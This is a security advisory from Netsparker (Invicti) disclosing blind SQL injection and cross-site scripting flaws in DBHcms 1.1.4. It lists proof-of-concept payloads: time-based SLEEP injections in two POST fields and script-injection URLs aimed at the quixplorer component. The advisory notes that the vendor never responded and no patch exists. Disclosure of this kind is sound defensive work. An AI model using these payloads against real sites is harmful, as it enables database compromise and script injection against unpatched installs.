XSS and SQL Injection Vulnerabilities in DBHcms


Advisory by Netsparker (now Invicti)
Name: XSS and SQL Injection Vulnerabilities in DBHcms
Software: DBHcms 1.1.4 and possibly below.
Vendor Homepage: http://www.drbenhur.com/
Vulnerability Type: Cross-Site Scripting and SQL Injection
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-13-006


The DBHcms is a small free Open Source content management system for personal and small business websites. It is search engine optimized, also for multiple languages simultaneously by allowing the search engine bot to index every single page in each language and avoiding content cloning. DBHcms is 100% flexible but also simple and easy to use thanks to an integrated WYSIWYG editor, multiple language support and layout templates!


DBHcms is affected by XSS and SQL Injection vulnerabilities in version 1.1.4.
Example PoC urls are as follows:

Blind SQL Injection Vulnerabilities

  • http://example.com/index.php?dbhcms_did=1&dbhcms_pid=4&dbhcms_lang=en
    POST – param:
    newsSignFullname='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'
  • http://example.com/index.php?dbhcms_did=1&dbhcms_pid=4&dbhcms_lang=en
    POST – param:
    newsSignEmail='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'

XSS Vulnerabilities

  • http://example.com/dbhcms/apps/quixplorer/index.php?action=chmod&item=dbhcms&order='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000BB6)%3C/script%3E&srt=yes
  • http://example.com/dbhcms/apps/quixplorer/index.php?action=list&dir='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000B9B)%3C/script%3E&order=name&srt=yes
  • http://example.com/dbhcms/apps/quixplorer/index.php?action=chmod&item=dbhcms&order=name&srt='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000BB7)%3C/script%3E
  • http://example.com/dbhcms/apps/quixplorer/index.php?action=chmod&item='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000BB5)%3C/script%3E&order=name&srt=yes

Learn more about Cross-Site Scripting and SQL Injection vulnerabilities:


No patch was released.

Advisory Timeline

01/08/2013 – First contact: No response
29/08/2013 – Advisory Released


It has been discovered on testing of Invicti Web Application Security Scanner.


  1. MSL Advisory Link: /xss-and-sql-injection-vulnerabilities-in-dbhcms/
  2. Invicti Advisories: /web-applications-advisories/

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.